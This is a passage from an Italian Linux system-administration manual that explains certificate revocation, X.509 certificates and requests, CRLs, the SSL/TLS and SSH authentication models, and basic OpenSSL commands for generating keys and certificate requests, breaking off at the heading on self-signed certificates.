Tuttavia, anche nel periodo di validità di un certificato possono cambiare tante cose, per cui deve essere previsto un meccanismo di revoca: sia su richiesta del titolare; sia a seguito di una decisione dell'autorità di certificazione che lo ha firmato. Infatti, il titolare del certificato potrebbe trovarsi in una condizione diversa rispetto a quella in cui si trovava nel momento del rilascio del certificato stesso, per cui i dati in esso contenuti potrebbero non corrispondere più; dall'altra parte, l'autorità di certificazione potrebbe avere verificato un utilizzo irregolare del certificato e di conseguenza potrebbe decidere il suo ritiro.

Evidentemente, per ottenere questo risultato, occorre che l'autorità che ha rilasciato dei certificati, gestisca anche una base di dati in cui siano indicati quelli che sono stati revocati, identificabili attraverso il loro numero di serie, il quale è quindi un altro elemento indispensabile di un certificato. A questo punto, quando si vuole verificare un certificato, oltre a controllare la scadenza e la validità della firma dell'autorità di certificazione, occorre controllare presso la base di dati di questa che il certificato non sia già stato revocato.

Il meccanismo della revoca o del non-rinnovo dei certificati, serve anche a dare credibilità a una catena di autorità di certificazione: un anello debole della catena -- debole in quanto poco serio -- metterebbe in dubbio tutto il sistema e sarebbe nell'interesse di tutte le altre autorità la sua eliminazione. Si intende che l'azione necessaria per ottenere questo risultato è la semplice pubblicazione della revoca del certificato da parte dell'autorità di livello superiore, oppure il suo mancato rinnovo.

49.3.3 Certificato X.509

Un tipo di certificato importante è quello definito dallo standard X.509. Questo certificato serve ad abbinare un ***nome distintivo*** (conosciuto come *Distinguished name*, ovvero l'acronimo DN) a una chiave pubblica. Questo nome distintivo è in pratica una raccolta di informazioni su una certa persona in un certo contesto. Gli elementi di queste informazioni sono visti come l'assegnamento di valori ad altrettante variabili; anche se non sono utilizzate sempre tutte, è importante tenere conto di questo fatto, ricordando le più importanti, per poter interpretare correttamente le richieste dei programmi che utilizzano questo standard.

Tabella 49.44. Alcuni campi tipici di un nome distintivo nei certificati X.509.

Campo	Descrizione
UID	Nominativo.
CN	Nome comune, o *Common name*.
O	Organizzazione.
OU	Dipartimento all'interno dell'organizzazione.
C	Sigla del paese (nazione).
ST	Regione o provincia.
L	Località.

Le regole per stabilire esattamente quali campi devono essere usati e cosa devono contenere, dipende dalla politica dell'autorità che deve firmare il certificato. In particolare, il campo

CN, a cui corrisponde la definizione *Common name*, è l'elemento più vago. Spesso, quando il certificato riguarda la gestione di un servizio, contiene il nome di dominio completo dell'elaboratore dal quale questo viene offerto.

Le informazioni di un certificato X.509 tipico sono organizzate in due parti: la sezione dati e la sezione della firma elettronica. La sezione dati contiene in particolare:

- la versione dello standard X.509 a cui fa riferimento il certificato;
- il numero di serie assegnato dall'autorità di certificazione;
- il nome distintivo (DN) dell'autorità di certificazione;
- il periodo di validità del certificato;
- il nome distintivo (DN) del titolare della certificato (*subject*);
- la chiave pubblica del titolare del certificato;
- altre informazioni che rappresentano un'estensione dello standard.

La sezione della firma elettronica contiene in pratica la firma fatta dall'autorità di certificazione, ed è in questa parte che potrebbero apparire le informazioni necessarie ad acquisire il certificato dell'autorità stessa. A titolo di esempio si può vedere come può apparire un certificato del genere, quando questo viene tradotto in forma leggibile (la chiave pubblica e la firma sono abbreviate):

```
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 0 (0x0)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C=IT, ST=Italia, L=Milano, O=SuperCA, CN=super.ca.dg…
        Validity
            Not Before: Dec 11 19:39:32 1999 GMT
            Not After : Jan 10 19:39:32 2000 GMT
        Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg…
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7:
                    1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:
                …
                    a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22:
                    fd:cd:7e:47:4a:b3:12:56:fd
                Exponent: 65537 (0x10001)
    Signature Algorithm: md5WithRSAEncryption
        71:88:37:bb:f0:5e:6e:82:fa:90:87:4f:bb:b6:06:a3:da:6a:
        86:b7:78:8d:a6:49:c2:e1:24:2d:37:ae:70:92:b7:68:49:14:
    …
        39:22:3b:41:46:d9:36:3a:85:d0:b2:d3:0d:d0:82:54:00:8e:
        38:b7:fa:52:09:d3:14:ea:18:c2:d5:5b:88:ef:05:18:1e:bd:
        c1:4e
```

È interessante osservare le righe che descrivono l'autorità garante che emette il certificato (*Issuer*) e il titolare (*Subject*). Ognuna di queste due righe rappresenta rispettivamente il nome distintivo dell'autorità e del titolare; si può vedere in che modo sono indicati i vari elementi di questa informazione (i puntini di sospensione finali sono stati aggiunti perché la riga sarebbe più lunga, con altre informazioni):

```
C=IT, ST=Italia, L=Tiziopoli, O=Dinkel-Brot, CN=dinkel.brot.dg…
```

La forma è quella dell'assegnamento di variabili, alcune delle quali sono elencate nella tabella 49.44. La scelta delle variabili da indicare (da assegnare) dipende dall'autorità e dal contesto per il quale viene rilasciato il certificato.

Il certificato è realizzato normalmente in formato PEM (utilizza solo il codice ASCII a sette bit) e il file che lo rappresenta in pratica potrebbe apparire in un modo simile a quello seguente, mostrato qui in forma abbreviata:


```
-----BEGIN CERTIFICATE-----
MIICeTCCAeICAQAwDQYJKoZIhvcNAQEEBQAwgYQxCzAJBgNVBAYTAklUMQ8wDQYD
VQQIEwZJdGFsaWExEDAOBgNVBAcTB1RyZXZpc28xFDASBgNVBAoTC0RpbmtlbC1C
…
t3iNpknC4SQtN65wkrdoSRQb88RpFYCkpISCbutfU4lZ+8XV7ASOJcHOrqqR65PZ
AeP4kVAFLnG+HTGlqHtReWszL6y75c45IjtBRtk2OoXQstMN0IJUAI44t/pSCdMU
6hjC1VuI7wUYHr3BTg==
-----END CERTIFICATE-----
```


49.3.4 Richiesta di certificato X.509

Per ottenere un certificato da un'autorità, utilizzando lo standard X.509, si parte dalla creazione di una ***richiesta di certificato***, che in pratica è un certificato avente già tutte le informazioni, tranne la firma del garante, firmato direttamente dal richiedente. Ciò che segue potrebbe essere la richiesta di certificato corrispondente all'esempio già visto in precedenza; anche in questo caso si abbreviano la chiave pubblica e la firma:

```
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg…
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7:
                    1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:
                …
                    a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22:
                    fd:cd:7e:47:4a:b3:12:56:fd
                Exponent: 65537 (0x10001)
        Attributes:
            challengePassword        :ciao-ciao
            unstructuredName         :Dinkel
```

```
    Signature Algorithm: md5WithRSAEncryption
        09:eb:da:65:21:d1:67:65:ec:c3:f7:07:7b:82:fb:3f:d3:9f:
        ed:89:bc:be:38:bd:97:1c:15:f0:2b:2f:ef:6b:1e:00:57:47:
    …
        e7:70:9c:93:30:f1:aa:93:42:37:dc:32:e0:85:50:d9:ed:0e:
        f7:8e
```

Anche la richiesta di certificato è realizzato normalmente in formato PEM; il file che lo rappresenta in pratica potrebbe apparire in un modo simile a quello seguente:

```
-----BEGIN CERTIFICATE REQUEST-----
MIIB/TCCAWYCAQAwgYIxCzAJBgNVBAYTAklUMQ8wDQYDVQQIEwZJdGFsaWExEDAO
BgNVBAcTB1ZlbmV6aWExFDASBgNVBAoTC01BUkFNQU8tTUFIMRkwFwYDVQQDFBBj
…
YwJNRXTBdL7J/K+LVYFnnxbu6Z4vyDvqcCxD0hWE3VSkXQ2RHHW3sN1oMbtVfjS7
NMe5qq5noKkraMhq3edwnJMw8aqTQjfcMuCFUNntDveO
-----END CERTIFICATE REQUEST-----
```

49.3.5 Revoca dei certificati

L'autorità di certificazione che ha la necessità di pubblicare i certificati che vengono revocati prima della loro scadenza naturale, lo fa attraverso la pubblicazione di un elenco dei certificati revocati, ovvero di ciò che è conosciuto con la sigla CRL (*Certificate revocation list*). Questo elenco è firmato dall'autorità di certificazione che lo pubblica, pertanto si tratta di un tipo di certificato speciale. Nello standard X.509, questo elenco potrebbe apparire come si vede nell'esempio seguente, in cui si vedono due certificati revocati:

```
Certificate Revocation List (CRL):
        Version 1 (0x0)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: /C=IT/ST=Italia/L=Milano/O=SuperCA/CN=super.ca.dg
        Last Update: Jan 15 20:35:52 2000 GMT
        Next Update: Feb 14 20:35:52 2000 GMT
Revoked Certificates:
    Serial Number: 01
        Revocation Date: Jan 13 19:28:40 2000 GMT
    Serial Number: 02
        Revocation Date: Jan 13 19:28:40 2000 GMT
    Signature Algorithm: md5WithRSAEncryption
        32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5:
        51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:
    …
        31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82:
        73:50
```

Osservando l'elenco si vede che il riferimento ai certificati è fatto solo attraverso il numero di serie, stando a indicare che i certificati firmati dall'autorità, con questi numeri di serie, sono

revocati a partire dalle date indicate.

49.4 Connessioni cifrate e certificate

Ogni protocollo pensato specificatamente per le connessioni cifrate, ha le sue particolarità, dettate dalle esigenze iniziali per le quali è stato realizzato. In linea di massima si possono individuare le fasi seguenti:

- il cliente negozia con il servente le caratteristiche del protocollo cifrato da adottare;
- il servente invia al cliente la propria chiave pubblica all'interno di un certificato che il cliente può verificare, se ne è in grado e se lo ritiene necessario;
- il servente può pretendere dal cliente un certificato che possa verificare, oppure può pretendere di essere già in possesso della chiave pubblica del cliente (naturalmente già verificata);
- una volta che il cliente dispone della chiave pubblica del servente, può iniziare una prima fase di comunicazione cifrata, in cui solitamente ci si scambia una chiave simmetrica generata in modo casuale, per rendere più sicura la comunicazione.

La verifica dei certificati serve a garantire l'identità dei nodi e delle utenze coinvolte, ovvero, un servente può garantire l'identità del servizio, mentre un cliente può garantire l'identità dell'utente che lo richiede.

La situazione tipica in cui si richiede una connessione cifrata è quella in cui una persona «qualunque» voglia fare un acquisto presso un negozio telematico, utilizzando il proprio navigatore. Dovendo fornire i propri dati personali, compresi quelli della carta di credito, questa persona vuole essere sicura di trasmettere le informazioni alla controparte giusta. Per questo, il suo navigatore che instaura la comunicazione cifrata, deve garantire all'utilizzatore l'identità della controparte attraverso la verifica della chiave pubblica del servizio, chiave che deve essere già in suo possesso, all'interno di un certificato ritenuto valido.

Quando l'accesso a un servizio che presuppone una connessione cifrata è soggetto a una forma di registrazione, l'autenticazione dell'accesso da parte del cliente può avvenire attraverso l'uso di un certificato depositato in precedenza. In pratica, in questo modo il servente può chiedere al cliente di iniziare subito una connessione cifrata che da parte sua può decifrare usando la chiave pubblica del cliente stesso, a garanzia della sua identità, senza bisogno di richiedere l'inserimento della solita parola d'ordine.

In tutti i casi, questo tipo di connessioni non dovrebbe tornare mai a trasmettere dati in chiaro. Infatti, anche se lo scopo della procedura fosse solo quello di garantire l'identità delle parti, resta comunque necessario mantenere la connessione cifrata per garantire anche che una delle parti non venga sostituita durante la comunicazione.

49.4.1 SSL/TLS

SSL (*Secure socket layer*) e TLS (*Transport layer security*) sono due protocolli per la certificazione e la comunicazione cifrata. SSL è stato sviluppato originalmente da Netscape; TLS è l'evoluzione del primo, come standard pubblicato da IETF.

Figura 49.51. Collocazione dei protocolli SSL/TLS nel modello ISO-OSI.

applicazione
presentazione
sessione HTTP...
SSL/TLS
trasporto
rete
TCP/IP
collegamento dati
fisico

Nel modello ISO-OSI, il protocollo SSL/TLS si inserisce tra il livello di trasporto (quarto) e il livello di sessione (quinto). Le sue funzionalità sono essenzialmente:

- autenticazione del servente da parte del cliente, con il quale l'utente di un servizio è in grado di essere certo dell'identità del suo fornitore;
- autenticazione del cliente nei confronti del servente, con il quale il fornitore di un servizio si accerta dell'identità del proprio cliente, senza dover usare le forme tradizionali (nominativo e parola d'ordine);
- crittografica della comunicazione, per garantire la segretezza delle transazioni.

Attraverso la descrizione del meccanismo di negoziazione che c'è tra cliente e servente di una connessione SSL/TLS, si intendono meglio il significato e il funzionamento di questo sistema. In generale, la negoziazione consente al servente di farsi riconoscere nei confronti del cliente, attraverso la tecnica della chiave pubblica, con la quale le due parti possono poi creare una chiave simmetrica da usare per cifrare la comunicazione; inoltre, è possibile anche richiedere al cliente di identificarsi nello stesso modo in cui fa il servente.

1. Il cliente si presenta presso il servente fornendo alcune informazioni sulla versione del protocollo che è in grado di gestire.
2. Il servente risponde comunicando le scelte fatte in base alla disponibilità del cliente, inviando il proprio certificato; inoltre, se la risorsa richiesta prevede l'identificazione del cliente, richiede anche il suo certificato.

3. Il cliente analizza il certificato (del servente) e determina se può riconoscere o meno il servente; se l'autorità di certificazione che lo ha firmato è sconosciuta, si chiede all'utente di intervenire per decidere il da farsi.

4. Attraverso i dati ottenuti fino a questo punto, il cliente prepara un primo esemplare dell'informazione che serve poi per definire la chiave di sessione, lo cifra attraverso la chiave pubblica del servente e lo invia.

5. Se il servente aveva richiesto l'autenticazione da parte del cliente, verifica l'identità di questo; se il cliente non viene riconosciuto, la sessione termina.

6. Il servente e il cliente determinano la chiave di sessione (simmetrica), in base ai dati che si sono scambiati fino a quel momento, iniziando la comunicazione cifrata con quella chiave.

Leggendo la sequenza di queste operazioni, si intende che la connessione cifrata può avvenire solo perché il servente offre un certificato, contenente la chiave pubblica dello stesso, attraverso la quale il cliente può cifrare inizialmente le informazioni necessarie a entrambi per generare una chiave di sessione. Di conseguenza, con questo modello, non può instaurarsi una comunicazione cifrata se il servente non dispone di un certificato e di conseguenza non dispone della chiave privata relativa.

Dal momento che la disponibilità di un certificato è indispensabile, se si vuole attivare un servizio che utilizza il protocollo SSL/TLS per cifrare la comunicazione, se non è possibile procurarselo attraverso un'autorità di certificazione, è necessario produrne uno fittizio in proprio.

Vale la pena di elencare brevemente i passi che compie il cliente per verificare l'identità del servente:

1. viene verificato che il certificato non sia scaduto, facendo in modo che se la data attuale risulta al di fuori del periodo di validità, l'autenticazione fallisca;[7]

2. viene verificata la disponibilità del certificato dell'autorità che ha firmato quello del servente; se è presente si può controllare la firma e di conseguenza la validità del certificato offerto dal servente;

3. se il cliente non dispone del certificato dell'autorità di certificazione e non è in grado di procurarselo e nemmeno di verificarlo attraverso una catena di certificazioni, l'autenticazione del servente fallisce;[8]

4. infine, viene verificato che il nome di dominio del servente corrisponda effettivamente con quanto riportato nel certificato.[9]

49.4.2 SSH

Il protocollo SSH è nato a seguito dello sviluppo di Secure Shell, un sistema per l'accesso remoto «sicuro» che si sostituisce a quello tradizionale dei programmi come Rlogin e Telnet. Secure Shell, ovvero SSH, è oggi un software proprietario, ma esistono diverse realizzazioni, più o meno libere, con funzionalità analoghe, o equivalenti, basate sullo lo stesso protocollo.[10]

Attraverso il protocollo SSH si possono gestire diversi livelli di sicurezza, in cui il minimo in assoluto è rappresentato dalla cifratura della comunicazione, estendendosi a vari metodi di riconoscimento reciproco da parte dei nodi che si mettono in contatto.

Il software che utilizza il protocollo SSH può instaurare un collegamento tra due elaboratori utilizzando diverse modalità, come accennato, in cui l'unica costante comune è la cifratura della comunicazione.

Semplificando molto le cose, da una parte si trova il servente che offre l'accesso e mette a disposizione una chiave pubblica, attraverso la quale i clienti dovrebbero poter verificare l'autenticità del servente a cui si connettono. Appena si verifica la connessione, prima ancora che sia stata stabilita l'identità dell'utente, cliente e servente concordano un sistema di cifratura.

49.4.2.1 Autenticazione RHOST

Alcune realizzazioni del software che utilizza il protocollo SSH consentono ancora, se lo si desidera, di utilizzare il vecchio meccanismo dell'autenticazione attraverso i file '`/etc/hosts.equiv`' e '`~/.rhosts`', corrispondenti in pratica a quelli utilizzati da Rlogin e Rsh.

Attraverso questi file, o un'altra coppia analoga per non interferire con Rlogin e Rsh, si può stabilire semplicemente quali clienti e quali utenti possono accedere senza che venga richiesta loro la parola d'ordine. Si tratta ovviamente di un sistema di riconoscimento molto poco sicuro, che rimane solo per motivi storici, ma in generale viene lasciato disabilitato.

49.4.2.2 Autenticazione RHOST+RSA

Per attenuare lo stato di debolezza causato da un sistema che accetta di autenticare i clienti e gli utenti esclusivamente in base alla configurazione di '`/etc/hosts.equiv`' e '`~/.rhosts`' (o simili), si può aggiungere la verifica della chiave pubblica del cliente.

In pratica, se il cliente dispone di una sua chiave pubblica può dimostrare al servente la sua identità.

49.4.2.3 Autenticazione RSA

A fianco dei metodi di autenticazione derivati da Rlogin si aggiunge il metodo RSA, attraverso cui, ogni utente che intende utilizzarlo deve creare una propria chiave RSA, indicando nel proprio profilo personale presso il servente la parte pubblica di questa chiave. Quando l'utente tenta di accedere in questo modo, le chiavi vengono confrontate e la corrispondenza è sufficiente a concedere l'accesso senza altre formalità.

Quando si utilizza questo tipo di autenticazione, la parte privata della chiave generata dall'utente, viene cifrata generalmente attraverso una parola d'ordine. In questo modo, prima di ottenere l'autenticazione, l'utente deve anche fornire questa parola d'ordine.

Generalmente, quando si utilizza l'autenticazione RSA, occorre osservare attentamente i permessi dei file. Di solito, la presenza di un permesso di scrittura superfluo per la directory che contiene i file della chiave privata, dovrebbe essere abbastanza per fare fallire l'autenticazione. Infatti, ciò potrebbe consentire a un estraneo di sostituire le chiavi.

49.4.2.4 Autenticazione attraverso la parola d'ordine tradizionale

Quando tutti gli altri tipi di autenticazione falliscono, il software che utilizza il protocollo SSH verifica l'identità dell'utente attraverso la parola d'ordine relativa all'accesso normale presso quel sistema.

In pratica, questa forma di autenticazione è quella più comune, dal momento che consente l'accesso senza bisogno di alcuna configurazione (a parte la generazione della chiave del nodo). Infatti, il protocollo SSH garantisce che la parola d'ordine viaggi cifrata, essendo questo già un grande risultato per la sicurezza dei sistemi coinvolti.

49.4.2.5 Chiave privata e chiave pubblica

Il software che si avvale del protocollo SSH, deve essere provvisto generalmente di un programma per la preparazione di coppie di chiavi pubbliche e private. Queste servono necessariamente per attivare il servizio, dal momento che un servente del genere non può fare nulla senza queste; inoltre possono servire dal lato cliente per facilitare l'autenticazione.

La chiave pubblica e quella privata vengono conservate in due file separati, con permessi di accesso molto restrittivi nel caso del file della chiave privata. Tuttavia, si tende a considerare che entrambi questi file debbano trovarsi nella stessa directory; inoltre, si intende generalmente che il nome del file della chiave pubblica si distingua solo perché ha in più l'estensione '`.pub`'. In questo modo, per fare riferimento alle chiavi, si indica generalmente solo il nome del file della chiave privata, intendendo implicitamente quale sia il nome del file della chiave pubblica.

Tradizionalmente, questi file hanno nomi molto simili da una realizzazione all'altra che utilizza il protocollo SSH. Nel caso delle chiavi del servente, si tratta di qualcosa del tipo '`/etc/*/*_host_key`' e '`/etc/*/*_host_key.pub`', mentre nel caso di chiavi personali dell'utente, si tratta di nomi del tipo '`~/*/identity`' e '`~/*/identity.pub`'. Gli utenti che predispongono una propria coppia di chiavi, lo fanno generalmente per poter utilizzare un'autenticazione di tipo RSA.

In generale, **la chiave privata del servente non può essere protetta attraverso una parola d'ordine, dal momento che il servizio deve essere gestito in modo automatico**; al contrario, è opportuno che la chiave privata di un utente sia protetta, dal momento che non si può impedire all'amministratore del sistema di accedervi.[11]

49.4.2.6 Verifica dell'identità dei serventi

Un elemento importante per la garanzia della sicurezza nelle comunicazioni è la verifica dell'identità del servente. Per farlo, è necessario che il cliente possegga una copia della chiave pubblica del servente a cui si vuole accedere.

In generale, la fiducia dovrebbe essere un fatto personale, per cui tali informazioni dovrebbero essere gestite singolarmente da ogni utente che intenda sfruttare tale protocollo. Tuttavia,

alcune realizzazioni tradizionali di software che sfruttano il protocollo SSH, consentono di definire un elenco generale di chiavi pubbliche convalidate. Di solito si tratta di file del tipo '/etc/*/*_known_hosts', dove oltre alle chiavi si annotano le informazioni sui serventi a cui si riferiscono (a meno che queste indicazioni siano già inserite in un certificato completo).

Nello stesso modo possono agire gli utenti in file del tipo '~/*/known_hosts' e ciò è preferibile in generale.

Di solito, per lo scopo che ha il protocollo SSH, non ci si crea il problema di ottenere la chiave pubblica del servente per vie sicure, accontentandosi di accettarla la prima volta che si ha un contatto. Ciò che si ottiene in questo modo è di verificare che il servente non venga sostituito con un altro durante gli accessi successivi.

A questo proposito, il software che utilizza il protocollo SSH può arrangiarsi a fare tutto da solo, dopo aver richiesto una conferma, oppure può pretendere che gli venga chiesto espressamente di accettare la chiave pubblica della controparte anche se questa non può essere verificata. Quello che segue è un esempio di ciò che potrebbe essere segnalato in tali circostanze.

```
Host key not found from the list of known hosts.
```

```
Are you sure you want to continue connecting (yes/no)?yes [Invio]
```

```
Host 'linux.brot.dg' added to the list of known hosts.
```

Ovviamente, nel momento in cui si scopre che la chiave pubblica di cui si dispone non consente più di autenticare un servente, il programma che si utilizza deve dare una segnalazione adeguata. Anche in questo caso ci possono essere modi diversi di reagire: impedire l'accesso, oppure chiedere all'utente il da farsi.

```
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@       WARNING: HOST IDENTIFICATION HAS CHANGED!         @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now
(man-in-the-middle attack)! It is also possible that the host key has
just been changed. Please contact your system administrator.
```

49.5 Introduzione a OpenSSL

OpenSSL[12] è una realizzazione in forma di software libero dei protocolli SSL/TLS (*Secure socket layer* e *Transport layer security*) per la certificazione e la comunicazione cifrata, noto originariamente come SSLeay.

OpenSSL si compone di alcune librerie che permettono di incorporare le funzionalità dei protocolli SSL/TLS all'interno di programmi di comunicazione, oltre a una serie di programmi di servizio per la gestione delle chiavi e dei certificati, arrivando eventualmente anche alla gestione di un'autorità di certificazione.

Questi programmi, in particolare, potrebbero essere compilati in modo da distinguersi in più file eseguibili, oppure in modo da generare un solo eseguibile monolitico: '**openssl**'. Qui si presume che si tratti di un eseguibile unico.

49.5.1 Collocazione e impostazione

Non esiste una definizione ben precisa di dove devono essere collocati i file che compongono la configurazione e gli strumenti di OpenSSL. Quando si installa OpenSSL da un pacchetto fatto per la propria distribuzione GNU/Linux, è importante scoprire dove vengono collocati i file delle chiavi e dei certificati, così come la collocazione del file di configurazione '`openssl.cnf`'. Intuitivamente si possono cercare questi file a partire dalla directory '`/etc/`'; in particolare, le chiavi potrebbero essere collocate a partire da '`/etc/ssl/`' o da '`/etc/openssl/`'.

Quando gli strumenti di OpenSSL sono organizzati in un solo eseguibile monolitico, la sintassi per i comandi relativi si esprime sinteticamente nel modo seguente:

```
openssl comando [opzioni]
```

Tabella 49.55. Alcuni comandi di OpenSSL.

Comando	Descrizione
`openssl req`	Gestione delle richieste di certificazione.
`openssl ca`	Gestione relativa all'autorità di certificazione.
`openssl crl`	Gestione del certificato delle revoche.
`openssl genrsa`	Generazione di parametri RSA.
`openssl rsa`	Conversione del formato di una chiave privata o di un certificato.
`openssl x509`	Gestione dei dati dei certificati X.509.

La tabella 49.55 elenca brevemente alcuni dei comandi più importanti. Per avere una guida rapida alle opzioni di ogni comando, basta utilizzare un'opzione non valida, per esempio '**`-h`**':

$ **`openssl ca -h`** [*Invio*]

L'esempio mostra in che modo ottenere l'elenco delle opzioni del comando '**`openssl ca`**'; comunque, in mancanza di altra documentazione, conviene stampare e tenere a portata di mano queste guide:

$ **`openssl req -h > guida.txt`** [*Invio*]

$ **`openssl crl -h >> guida.txt`** [*Invio*]

$ **`openssl ca -h >> guida.txt`** [*Invio*]

$ **`openssl genrsa -h >> guida.txt`** [*Invio*]

$ **`openssl x509 -h >> guida.txt`** [*Invio*]

Alcuni di questi comandi hanno in comune delle opzioni che vale la pena di descrivere subito, prima di mostrare degli esempi, nei quali si può così concentrare l'attenzione sulle altre opzioni specifiche. La tabella 49.56 mostra questo elenco di opzioni tipiche.

Tabella 49.56. Alcune opzioni frequenti nei comandi di OpenSSL.

Opzione	Descrizione
`-in` *file*	Definisce un file in ingresso adatto al contesto.
`-out` *file*	Definisce un file in uscita adatto al contesto.
`-noout`	Non emette il risultato.
`-text`	Emette le informazioni in forma di testo leggibile.
`-hash`	Emette il codice di controllo relativo al contesto.
`-inform` *formato*	Specifica il formato dei dati in ingresso.
`-outform` *formato*	Specifica il formato dei dati in uscita.

Prima di descrivere la configurazione di OpenSSL, viene mostrato tecnicamente il modo per richiedere un certificato, o per realizzarne uno proprio senza valore. Infatti, in generale, la configurazione standard dovrebbe essere più che sufficiente per il raggiungimento di questo obiettivo. È il caso di ricordare che un certificato è un file contenente la chiave pubblica del suo titolare, firmata da un'autorità di certificazione che garantisce la sua validità e anche la correttezza degli altri dati.

49.5.2 Procedimento per ottenere un certificato

Per mettere in piedi un servizio che utilizzi i protocolli SSL/TLS, occorre predisporre dei file contenenti chiavi e certificati. Di solito, quando si installano servizi che utilizzano questi protocolli, la procedura di installazione si prende cura di predisporre automaticamente i file necessari per consentire il funzionamento, senza che le certificazioni che si ottengono abbiano alcun valore. In generale si comincia dalla creazione o dalla definizione di un file contenente dati casuali, come punto di partenza per generare una chiave privata, quindi si passa alla creazione di una richiesta di certificazione, oppure alla creazione di un certificato auto-firmato, senza valore.

49.5.2.1 File contenente dati casuali

Un file casuale può essere creato in vari modi, per esempio mettendo assieme alcuni file,

$ **`cat file_a file_b file_c > file_casuale`** [*Invio*]

magari rielaborandoli in qualche modo, oppure prelevando un po' di caratteri dal file '`/dev/random`':

$ **`dd if=/dev/random of=file_casuale bs=1b count=1k`** [*Invio*]

49.5.2.2 Chiave privata

Per generare una chiave privata in chiaro, si utilizza il comando '**openssl genrsa**', in un modo simile a quello seguente, dove in particolare viene utilizzato il file '`file_casuale`' come origine di dati casuali, ottenendo il file '`chiave_privata.pem`' di 1024 bit:

```
$ openssl genrsa -rand file_casuale -out chiave_privata.pem 1024[Invio]
```

Eventualmente, per creare una chiave privata cifrata, basta aggiungere un'opzione a scelta tra '**-des**', '**-des3**' e '**-idea**', che stanno a indicare rispettivamente gli algoritmi DES, DES-triplo e IDEA. Viene mostrato il caso in cui si utilizza l'opzione '**-des3**':

```
$ openssl genrsa -des3 -rand file_casuale ←
→        -out chiave_privata_protetta.pem 1024[Invio]

Enter PEM passphrase: ********[Invio]

Verifying password - Enter PEM pass phrase: ********[Invio]
```

Volendo riportare la chiave privata in chiaro, si usa il comando '**openssl rsa**', in modo simile all'esempio seguente:

```
$ openssl rsa -in chiave_privata_protetta.pem ←
→        -out chiave_privata.pem[Invio]

Enter PEM passphrase: ********[Invio]
```

In modo analogo funziona l'operazione di protezione di una chiave; in pratica si aggiunge l'opzione attraverso cui si specifica il tipo di algoritmo:

```
$ openssl rsa -des3 -in chiave_privata.pem ←
→        -out chiave_privata_protetta.pem[Invio]
```

49.5.2.3 Richiesta di certificazione

Teoricamente, il certificato che identifica e garantisce l'identità del servizio che si gestisce, deve essere fornito da un'autorità di certificazione. In questo caso, per farlo, deve ricevere un documento intermedio, definibile come una richiesta di certificazione. La chiave pubblica che vi viene inserita si ottiene a partire dalla chiave privata, mentre gli altri dati necessari per il certificato che si vuole ottenere si inseriscono in modo interattivo. È interessante vedere come avviene:

```
$ openssl req -new -key chiave_privata.pem -out richiesta.pem[Invio]

  You are about to be asked to enter information that will be
  incorporated into your certificate request.
  What you are about to enter is what is called a Distinguished Name or
  a DN. There are quite a few fields but you can leave some blank
  For some fields there will be a default value,
  If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:IT[Invio]
```

```
State or Province Name (full name) [Some-State]:Italia[Invio]

Locality Name (eg, city) []:Tiziopoli[Invio]

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Dinkel[Invio]

Organizational Unit Name (eg, section) []:.[Invio]

Common Name (eg, YOUR name) []:dinkel.brot.dg[Invio]

Email address []:tizio@dinkel.brot.dg[Invio]


  Please enter the following 'extra' attributes
  to be sent with your certificate request

A challenge password []:super segretissimo[Invio]

An optional company name []:Dinkel[Invio]
```

Le informazioni che si inviano in questo modo sono molto importanti e il significato preciso varia a seconda del contesto per il quale si richiede la certificazione. È l'autorità per la certificazione a stabilire quali informazioni servono precisamente.

Per verificare il contenuto del certificato, dato che nel suo formato PEM non è leggibile direttamente, si può usare il comando '**openssl req**' con l'opzione '**-text**':

```
$ openssl req -text -in richiesta.pem[Invio]

  Certificate Request:
      Data:
          Version: 0 (0x0)
          Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg…
          Subject Public Key Info:
              Public Key Algorithm: rsaEncryption
              RSA Public Key: (1024 bit)
                  Modulus (1024 bit):
                      00:ce:0d:cd:08:86:fd:b5:cb:14:56:51:04:73:38:
                      15:77:39:2d:3b:10:17:06:7c:64:0d:69:14:67:cd:
                  …
                      67:f7:ef:b1:71:af:24:77:64:66:64:0f:85:a6:64:
                      16:c2:69:26:59:0a:d9:4b:8d
                  Exponent: 65537 (0x10001)
          Attributes:
              unstructuredName         :Dinkel
              challengePassword        :super segretissimo
      Signature Algorithm: md5WithRSAEncryption
          8f:25:9f:68:3a:67:4c:6d:e6:eb:52:4a:ca:73:74:47:85:14:
          ca:d6:6c:6d:24:3b:6c:37:59:ec:f8:fb:0b:a9:74:d6:1c:0f:
      …
          02:60:16:fd:2e:9b:09:af:11:03:82:74:16:ae:57:a7:90:f5:
          e1:a5
```

49.5.2.4 Certificato fittizio

